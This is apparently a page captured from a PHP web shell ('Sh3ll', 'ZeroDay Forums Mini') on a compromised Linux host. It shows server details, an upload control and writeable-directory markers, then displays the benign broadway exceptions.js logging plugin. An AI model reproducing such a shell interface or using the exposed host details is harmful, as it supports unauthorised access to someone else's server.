Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/node-socket/node_modules/broadway/lib/broadway/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/node-socket/node_modules/broadway/lib/broadway/plugins/exceptions.js
/*
 * exceptions.js: Plugin responsible for logging all uncaughtExceptions in a flatiron App.
 *
 * (C) 2011, Nodejitsu Inc.
 * MIT LICENSE
 *
 */

var winston = require('winston'),
    common = require('../common');

var exceptions = exports;

//
// ### Setup default state for the exceptions plugin
//
exceptions.name       = 'exceptions';
exceptions.initalized = false;

var defaultConfig = exceptions.defaultConfig = {
  console: {
    colorize: false,
    json: true,
    level: 'silly'
  }
};

//
// ### function attach (options)
// #### @options {Object} Options for this plugin
// Extends `this` the application with exception handling
// functionality from `winston`.
//
exceptions.attach = function (options) {
  options  = options  || {};

  if (this.config) {
    options = common.mixin({}, options, this.config.get('exceptions') || {});
  }

  if (exceptions.initalized) {
    return;
  }

  var exceptionHandlers = [];

  //
  // Create the exceptionHandlers defaulting to Console and Loggly.
  //
  exceptionHandlers.push(new winston.transports.Console(options.console || defaultConfig.console));

  Object.keys(options).forEach(function (name) {
    if (name === 'console') {
      return;
    }

    exceptionHandlers.push(new (winston.transports[common.capitalize(name)])(options[name]));
  });

  //
  // Update the state of the plugin with the logger.
  //
  exceptions.logger = new winston.Logger({ exceptionHandlers: exceptionHandlers });
  exceptions.initalized = true;

  //
  // Have the logger handle uncaught exceptions.
  //
  exceptions.logger.handleExceptions();
};

ZeroDay Forums Mini